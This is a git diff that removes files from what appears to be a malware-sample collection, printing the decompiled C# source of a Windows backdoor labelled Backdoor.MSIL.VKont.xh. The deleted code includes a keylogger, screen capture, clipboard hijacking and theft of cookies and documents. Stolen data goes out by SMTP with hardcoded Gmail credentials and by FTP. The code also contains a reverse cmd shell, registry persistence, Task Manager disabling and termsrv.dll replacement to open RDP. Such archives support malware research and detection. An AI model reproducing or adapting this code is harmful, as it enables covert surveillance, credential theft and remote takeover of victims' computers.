directoryEntry2.Path.ToString()); - } - catch - { - } - } - directoryEntry2.Close(); - directoryEntry1.Close(); - directoryEntry3.Close(); - } - catch - { - } - } - - private static void proces(string proc) - { - bool flag = true; - try - { - while (flag) - { - Application.DoEvents(); - Process[] processArray = (Process[]) null; - for (int index = 0; index < processArray.Length; ++index) - { - processArray = Process.GetProcesses(); - Thread.Sleep(20); - if (processArray[index].ProcessName == proc) - processArray[index].Kill(); - } - } - } - catch - { - } - } - - private static void key() - { - try - { - Thread.Sleep(100); - Program.thkey = new Thread[20]; - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Program._hookID = Program.SetHook(Program._proc); - Application.Run(); - Program.UnhookWindowsHookEx(Program._hookID); - } - catch - { - } - } - - private static void Screnn() - { - for (int index = 1; index <= 0; ++index) - { - Thread.Sleep(TimeSpan.FromSeconds(0.0)); - new Program.ScreenShotDll().CaptureScreen("0" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg); - } - } - - private static string ShowDomainUsers() - { - string str = (string) null; - DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName); - foreach (DirectoryEntry child in directoryEntry1.Children) - { - try - { - foreach (object adsObject in (IEnumerable) directoryEntry1.Children.Find(child.Name, "Group").Invoke("Members", (object[]) null)) - { - DirectoryEntry directoryEntry2 = new DirectoryEntry(adsObject); - str = str + child.Name + ": " + directoryEntry2.Name + "\n"; - } - } - catch - { - } - } - return str; - } - - private static bool buffDlin(string buff) => Program.strbug.Length == buff.Length; - - private static bool buffZ(string purse, string param) - { - Program.buflyb = (string) null; - if (param == null) - return true; - int length = param.Length; - if (length == 0) - return true; - Program.strbuftx = (string) null; - for (int index = 0; index < length; ++index) - Program.strbuftx += (string) (object) Program.strbug[index]; - return param == Program.strbuftx; - } - - private static bool buffCritery(string buff_purse, string critery_p) => Program.buffDlin(buff_purse) && Program.buffZ(buff_purse, critery_p); - - private static void strBuffer() - { - try - { - string[] strArray1 = new string[0]; - string[] strArray2 = new string[0]; -label_1: - IDataObject dataObject; - do - { - Application.DoEvents(); - Thread.Sleep(100); - dataObject = Clipboard.GetDataObject(); - } - while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text)); - Program.strbug = (string) dataObject.GetData(DataFormats.Text); - for (int index = 0; index < strArray1.Length; ++index) - { - if (Program.buffCritery(strArray1[index], strArray2[index])) - Clipboard.SetDataObject((object) strArray1[index]); - } - goto label_1; - } - catch (Exception ex) - { - } - } - - private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - - public class ScreenShotDll - { - public void CaptureScreen(string fileName, ImageFormat imageFormat) => this.CaptureScreenShot().Save(fileName, imageFormat); - - public Bitmap CaptureScreenShot() - { - Image image = (Image) new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - Graphics graphics = Graphics.FromImage(image); - graphics.CompositingQuality = CompositingQuality.AssumeLinear; - IntPtr hdc = graphics.GetHdc(); - IntPtr windowDc = Program.GetWindowDC(Program.GetDesktopWindow()); - long num = (long) Program.BitBlt(hdc, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, windowDc, 0, 0, 13369376); - graphics.ReleaseHdc(hdc); - return (Bitmap) image; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.csproj deleted file mode 100644 index d7c7de4e..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.csproj +++ /dev/null @@ -1,43 +0,0 @@ - - - - - Debug - AnyCPU - {5360A4AA-689B-461E-93C4-84BC864C5CB7} - Exe - Скриншот1 - 0.0.0.0 - Troj - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.sln deleted file mode 100644 index 7f530ff0..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Скриншот1", "Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e.csproj", "{5360A4AA-689B-461E-93C4-84BC864C5CB7}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5360A4AA-689B-461E-93C4-84BC864C5CB7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {5360A4AA-689B-461E-93C4-84BC864C5CB7}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5360A4AA-689B-461E-93C4-84BC864C5CB7}.Release|Any CPU.ActiveCfg = Release|Any CPU - {5360A4AA-689B-461E-93C4-84BC864C5CB7}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Program.cs deleted file mode 100644 index 712b8c4c..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Program.cs +++ /dev/null @@ -1,1118 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Troj.Program -// Assembly: Скриншот1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8A5AD647-4891-4CD6-A3F9-881A0BA488A2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e.exe - -using Microsoft.Win32; -using System; -using System.Collections; -using System.Diagnostics; -using System.DirectoryServices; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.Drawing.Imaging; -using System.IO; -using System.IO.Compression; -using System.Net; -using System.Net.Mail; -using System.Net.Sockets; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Troj -{ - public class Program - { - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private static int svsex; - private static int sdosta; - private static string logkey; - private static int keycount = 0; - private static Thread[] thkey; - private static Thread[] tcherez; - private static int cerezcount = 0; - private static int keyI; - private static string strbug; - private static string strbuftx; - private static string buflyb; - private static int ftpi; - private static int countGroup = 0; - private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback); - private static IntPtr _hookID = IntPtr.Zero; - private static Thread th; - private static TcpClient socketForServer; - private static NetworkStream networkStream; - private static StreamWriter streamWriter; - private static StreamReader streamReader; - private static Process processCmd; - private static StringBuilder strInput; - private static int hwnd_n; - private static int hwnd_s; - private static string DiskWindows; - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx( - int idHook, - Program.LowLevelKeyboardProc lpfn, - IntPtr hMod, - uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - IntPtr lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("user32.dll")] - public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); - - [DllImport("user32.dll")] - private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); - - [DllImport("user32.dll")] - private static extern int GetForegroundWindow(); - - [DllImport("user32")] - private static extern uint GetWindowThreadProcessId(int hWnd, out int lpdwProcessId); - - [DllImport("user32.dll")] - public static extern IntPtr GetDesktopWindow(); - - [DllImport("user32.dll")] - public static extern IntPtr GetWindowDC(IntPtr hwnd); - - [DllImport("gdi32.dll")] - public static extern ulong BitBlt( - IntPtr hDestDC, - int x, - int y, - int nWidth, - int nHeight, - IntPtr hSrcDC, - int xSrc, - int ySrc, - int dwRop); - - private static void SearchAll( - string disk, - string n_file, - string smail, - string sftp, - string spapka) - { - try - { - foreach (DirectoryInfo directory in new DirectoryInfo(disk).GetDirectories()) - { - try - { - foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly)) - Program.CherezShto(file.FullName, smail, sftp, spapka); - } - catch - { - } - Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka); - } - } - catch - { - } - } - - private static IntPtr SetHook(Program.LowLevelKeyboardProc proc) - { - using (Process currentProcess = Process.GetCurrentProcess()) - { - using (ProcessModule mainModule = currentProcess.MainModule) - return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U); - } - } - - private static string TimeNow() - { - DateTime now = DateTime.Now; - return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString(); - } - - private static int GetWindowProcessID(int hwnd) - { - int lpdwProcessId = 0; - int windowThreadProcessId = (int) Program.GetWindowThreadProcessId(hwnd, out lpdwProcessId); - return lpdwProcessId; - } - - private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) - { - Program.hwnd_n = Program.GetForegroundWindow(); - if (Program.hwnd_n != Program.hwnd_s) - Program.logkey = Program.logkey + "\n[" + Process.GetProcessById(Program.GetWindowProcessID(Program.hwnd_n)).MainWindowTitle + "]titlewindows[gentroj]\n"; - if (nCode >= 0 && wParam == (IntPtr) 256) - { - int num = Marshal.ReadInt32(lParam); - if (num == 13) - { - Program.logkey += "\n"; - } - else - { - ++Program.sdosta; - ++Program.svsex; - Program.logkey = Program.logkey + (object) (Keys) num + "@"; - if (Program.sdosta == 500) - { - Program.sdosta = 0; - string time = Program.TimeNow(); - try - { - StreamWriter streamWriter = new StreamWriter("key_" + time + ".txt"); - streamWriter.Write(Program.logkey); - streamWriter.Close(); - Program.thkey[Program.keycount] = new Thread((ThreadStart) (() => - { - string str = time; - if (!Program.CherezShto("key_" + str + ".txt", "True", "False", "")) - return; - new FileInfo("key_" + str + ".txt").Delete(); - })); - Program.thkey[Program.keycount].Start(); - ++Program.keycount; - } - catch - { - } - if (Program.keycount > 10) - Program.keycount = 0; - Program.logkey = (string) null; - } - } - } - Program.hwnd_s = Program.hwnd_n; - return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam); - } - - public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka) - { - try - { - foreach (string logicalDrive in Directory.GetLogicalDrives()) - Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka); - } - catch - { - } - } - - public static bool CherezShto(string strfile, string nmail, string nftp, string pftp) - { - if (nmail == "True" || nmail == "true") - Program.Sendmailfile(strfile, "User send you message : " + strfile, "smtp.gmail.com", 587, "r.simenov@gmail.com", "12345trewq", "ruslan.telebank@gmail.com", true); - if (nftp == "True" || nmail == "true") - Program.Upload_ftp(strfile, "0", "0", "0", pftp); - return true; - } - - private static string C_OFF(byte[] encryptedTextBytes) - { - SymmetricAlgorithm symmetricAlgorithm = (SymmetricAlgorithm) DES.Create(); - MemoryStream memoryStream = new MemoryStream(encryptedTextBytes); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, symmetricAlgorithm.CreateDecryptor(Program.Ret_Key(), Program.Ret_IV()), CryptoStreamMode.Read); - byte[] numArray = new byte[encryptedTextBytes.Length]; - cryptoStream.Read(numArray, 0, encryptedTextBytes.Length); - cryptoStream.Close(); - memoryStream.Close(); - return new UnicodeEncoding().GetString(numArray); - } - - private static byte[] OUTS(string S) - { - int length = 0; - for (int index = 0; index < S.Length; ++index) - { - if (S[index] == '&') - ++length; - } - byte[] numArray = new byte[length]; - for (int index = 0; index < numArray.Length; ++index) - { - int startIndex = S.IndexOf("&"); - if (startIndex != -1) - { - numArray[index] = Convert.ToByte(S.Remove(startIndex)); - S = S.Substring(startIndex + 1); - } - else - break; - } - return numArray; - } - - private static byte[] Ret_Key() => new byte[8]; - - private static byte[] Ret_IV() => new byte[8]; - - private static string DelF(string tmp) - { - for (int index = 0; index < tmp.Length; ++index) - { - if (tmp[index] == char.MinValue) - { - tmp = tmp.Remove(index); - break; - } - } - return tmp; - } - - public static bool Sendmailfile( - string temp, - string user, - string ssmtp, - int sport, - string smail, - string spass, - string vmail, - bool sssl) - { - Attachment attachment = new Attachment(temp, "application/octet-stream"); - bool flag; - try - { - SmtpClient smtpClient = new SmtpClient(ssmtp, sport); - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass); - smtpClient.EnableSsl = sssl; - MailMessage message = new MailMessage(); - message.From = new MailAddress(smail); - message.To.Add(new MailAddress(vmail)); - message.Subject = Environment.UserDomainName.ToString() + " / " + user; - message.Body = user; - message.Attachments.Add(attachment); - smtpClient.Send(message); - attachment.Dispose(); - flag = true; - } - catch - { - flag = false; - attachment.Dispose(); - } - return flag; - } - - private static string GetDiskWindows() - { - string systemDirectory = Environment.SystemDirectory; - return systemDirectory.Remove(systemDirectory.IndexOf("\\") + 1); - } - - private static bool Upload_ftp( - string filename, - string ftpServerIP, - string ftpUserID, - string ftpPassword, - string papka) - { - ++Program.ftpi; - FileInfo fileInfo = new FileInfo(filename); - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name)); - ftpWebRequest.Proxy = (IWebProxy) null; - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword); - ftpWebRequest.KeepAlive = false; - ftpWebRequest.Method = "STOR"; - ftpWebRequest.UseBinary = true; - ftpWebRequest.ContentLength = fileInfo.Length; - int count1 = 2048; - byte[] buffer = new byte[count1]; - FileStream fileStream = fileInfo.OpenRead(); - try - { - Stream requestStream = ftpWebRequest.GetRequestStream(); - for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1)) - requestStream.Write(buffer, 0, count2); - requestStream.Close(); - fileStream.Close(); - return true; - } - catch - { - return false; - } - } - - public static void IECookies(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists(Environment.GetEnvironmentVariable("TEMP") + "\\0")) - System.IO.File.Delete(Environment.GetEnvironmentVariable("TEMP") + "\\0"); - try - { - string searchPattern = "*.txt"; - DirectoryInfo directoryInfo = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Cookies)); - try - { - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter(Environment.GetEnvironmentVariable("TEMP") + "\\0", true, Encoding.UTF8); - foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly)) - { - streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read)); - string str = file.FullName + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - } - catch - { - } - Program.CherezShto(Environment.GetEnvironmentVariable("TEMP") + "\\0", smail, sftp, spapka); - } - catch - { - } - } - - [STAThread] - private static void Main(string[] args) - { - try - { - Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0); - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "cmd.exe", - Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", - WindowStyle = ProcessWindowStyle.Hidden - }); - string str1 = "%temp%\\word.exe"; - string str2 = Environment.GetEnvironmentVariable(str1.Substring(1, str1.IndexOf('%', 1) - 1)) + str1.Substring(str1.IndexOf('%', 1) + 1); - try - { - if (!System.IO.File.Exists(str2)) - System.IO.File.Copy(Application.ExecutablePath, str2); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true); - registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath); - registryKey.SetValue(str2, (object) str2); - } - catch - { - } - new Thread((ThreadStart) (() => - { - Program.DiskWindows = Program.GetDiskWindows(); - Program.SearchAll(Program.DiskWindows, "wand.dat", "True", "False", ""); - })).Start(); - Program.SearchonDisk("*.doc", "True", "False", ""); - new Thread(new ThreadStart(Program.key)).Start(); - } - catch - { - Process.Start(new ProcessStartInfo() - { - FileName = "cmd.exe", - Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", - WindowStyle = ProcessWindowStyle.Hidden - }); - string str3 = "%temp%\\word.exe"; - string str4 = Environment.GetEnvironmentVariable(str3.Substring(1, str3.IndexOf('%', 1) - 1)) + str3.Substring(str3.IndexOf('%', 1) + 1); - try - { - if (!System.IO.File.Exists(str4)) - System.IO.File.Copy(Application.ExecutablePath, str4); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true); - registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath); - registryKey.SetValue(str4, (object) str4); - } - catch - { - } - new Thread((ThreadStart) (() => - { - Program.DiskWindows = Program.GetDiskWindows(); - Program.SearchAll(Program.DiskWindows, "wand.dat", "True", "False", ""); - })).Start(); - Program.SearchonDisk("*.doc", "True", "False", ""); - new Thread(new ThreadStart(Program.key)).Start(); - } - } - catch - { - } - } - - private static void MainView() - { - try - { - TcpClient tcpClient = new TcpClient(); - Program.ScreenShotDll screenShotDll = new Program.ScreenShotDll(); - tcpClient.Connect("0", Convert.ToInt32("0")); - NetworkStream stream = tcpClient.GetStream(); - BinaryWriter binaryWriter = new BinaryWriter((Stream) stream); - BinaryReader binaryReader = new BinaryReader((Stream) stream); - SHA1CryptoServiceProvider cryptoServiceProvider = new SHA1CryptoServiceProvider(); - Image image1 = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0); - Image image2 = image1; - byte[] buffer1 = Program.ImageToByte(image1); - if (binaryReader.ReadBoolean()) - { - binaryWriter.Write(buffer1.Length); - if (binaryReader.ReadBoolean()) - binaryWriter.Write(buffer1); - } - while (true) - { - Thread.Sleep(Convert.ToInt32("0")); - Application.DoEvents(); - byte[] numArray1 = Program.Bytetorgb((Bitmap) image1); - Image bmp = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0); - byte[] numArray2 = Program.Bytetorgb((Bitmap) bmp); - if (cryptoServiceProvider.ComputeHash(numArray1)[0].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[0].ToString() && cryptoServiceProvider.ComputeHash(numArray1)[1].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[1].ToString()) - { - image2 = (Image) Program.SearchByte(Program.clearPic((Bitmap) image2), numArray1, numArray2); - byte[] raw = Program.ImageToByte(image2); - byte[] numArray3 = Program.Compress(raw); - bool flag; - byte[] buffer2; - if (raw.Length > numArray3.Length) - { - Console.Write("#"); - flag = true; - buffer2 = numArray3; - } - else - { - flag = false; - buffer2 = raw; - } - if (binaryReader.ReadBoolean()) - { - binaryWriter.Write(buffer2.Length); - if (binaryReader.ReadBoolean()) - binaryWriter.Write(buffer2); - binaryWriter.Write(flag); - } - Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "|" + DateTime.Now.Second.ToString() + " Kb : " + buffer2.Length.ToString()); - image1 = bmp; - } - else - Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "/" + DateTime.Now.Second.ToString() + " KB : 0"); - } - } - catch - { - } - } - - private static byte[] Compress(byte[] raw) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true)) - gzipStream.Write(raw, 0, raw.Length); - return memoryStream.ToArray(); - } - } - - private static Image Resize(Image img, double percentage) - { - int width1 = img.Width; - int height1 = img.Height; - int width2 = (int) ((double) width1 / percentage); - int height2 = (int) ((double) height1 / percentage); - Bitmap bitmap = new Bitmap(width2, height2); - Graphics graphics = Graphics.FromImage((Image) bitmap); - graphics.InterpolationMode = InterpolationMode.Low; - graphics.DrawImage(img, 0, 0, width2, height2); - graphics.Dispose(); - return (Image) bitmap; - } - - private static byte[] ImageToByte(Image imageIn) - { - MemoryStream memoryStream = new MemoryStream(); - imageIn.Save((Stream) memoryStream, ImageFormat.Png); - return memoryStream.ToArray(); - } - - private static byte[] Bytetorgb(Bitmap bmp) - { - Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); - BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat); - IntPtr scan0 = bitmapdata.Scan0; - int length = bitmapdata.Stride * bmp.Height; - byte[] destination = new byte[length]; - Marshal.Copy(scan0, destination, 0, length); - bmp.UnlockBits(bitmapdata); - return destination; - } - - private static Bitmap SearchByte(Bitmap bmp, byte[] mas1, byte[] mas2) - { - Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); - BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat); - IntPtr scan0 = bitmapdata.Scan0; - int length = bitmapdata.Stride * bmp.Height; - byte[] numArray = new byte[length]; - Marshal.Copy(scan0, numArray, 0, length); - for (int index = 0; index < numArray.Length; ++index) - { - if ((int) mas1[index] != (int) mas2[index]) - numArray[index] = mas2[index]; - } - Marshal.Copy(numArray, 0, scan0, length); - bmp.UnlockBits(bitmapdata); - return bmp; - } - - private static Bitmap clearPic(Bitmap bmp) - { - Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); - BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat); - IntPtr scan0 = bitmapdata.Scan0; - int length = bitmapdata.Stride * bmp.Height; - byte[] numArray = new byte[length]; - Marshal.Copy(scan0, numArray, 0, length); - for (int index = 0; index < numArray.Length; ++index) - numArray[index] = (byte) 53; - Marshal.Copy(numArray, 0, scan0, length); - bmp.UnlockBits(bitmapdata); - return bmp; - } - - public static void TermSrv() - { - string str = Program.TimeNow(); - try - { - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - } - else - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll")) - System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll"); - } - catch (Exception ex) - { - Console.WriteLine(ex.Message); - } - } - - public static void Backdoor() - { - try - { - Thread tsend = new Thread((ThreadStart) (() => - { - try - { - Program.processCmd = new Process(); - Program.processCmd.StartInfo.FileName = "cmd.exe"; - Program.processCmd.StartInfo.CreateNoWindow = true; - Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; - Program.processCmd.StartInfo.UseShellExecute = false; - Program.processCmd.StartInfo.RedirectStandardOutput = true; - Program.processCmd.StartInfo.RedirectStandardInput = true; - Program.processCmd.StartInfo.RedirectStandardError = true; - Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc); - Program.processCmd.Start(); - Program.processCmd.BeginOutputReadLine(); - Program.strInput = new StringBuilder(); - try - { - while (true) - { - Program.strInput.Append(Program.streamReader.ReadLine()); - Program.strInput.Append("\n"); - Program.processCmd.StandardInput.WriteLine((object) Program.strInput); - Program.processCmd.StandardInput.Flush(); - Program.strInput.Remove(0, Program.strInput.Length); - } - } - catch (Exception ex) - { - } - } - catch - { - } - })); - new Thread((ThreadStart) (() => - { - try - { - Program.socketForServer = new TcpClient("0", 0); - Program.networkStream = Program.socketForServer.GetStream(); - Program.streamReader = new StreamReader((Stream) Program.networkStream); - Program.streamWriter = new StreamWriter((Stream) Program.networkStream); - tsend.Start(); - } - catch - { - } - })).Start(); - } - catch - { - } - } - - private static void proc(object sender, DataReceivedEventArgs e) - { - StringBuilder stringBuilder = new StringBuilder(); - if (string.IsNullOrEmpty(e.Data)) - return; - try - { - stringBuilder.Append(e.Data); - Program.streamWriter.WriteLine((object) stringBuilder); - Program.streamWriter.Flush(); - } - catch - { - } - } - - private static void CacheDelete(string dir) - { - try - { - if (!Directory.Exists(dir)) - return; - for (int index = 0; index < Directory.GetFiles(dir).Length; ++index) - { - try - { - System.IO.File.Delete(Directory.GetFiles(dir)[index]); - } - catch - { - } - } - for (int index = 0; index < Directory.GetDirectories(dir).Length; ++index) - { - try - { - Directory.Delete(Directory.GetDirectories(dir)[index]); - } - catch - { - } - } - } - catch - { - } - } - - public static void FileP() - { - try - { - Program.CacheDelete(Environment.SystemDirectory + "\\Dllcache"); - Program.CacheDelete(Environment.SystemDirectory + "\\CatRoot"); - } - catch - { - } - } - - public static void RegConfig() - { - try - { - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true).SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true).SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true); - registryKey.SetValue("Options", (object) "00000000", RegistryValueKind.DWord); - registryKey.SetValue("Version", (object) "00010001", RegistryValueKind.DWord); - registryKey.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord); - registryKey.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String); - registryKey.SetValue("Link", (object) "Local", RegistryValueKind.String); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true); - registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("NextInstance", (object) "00000001", 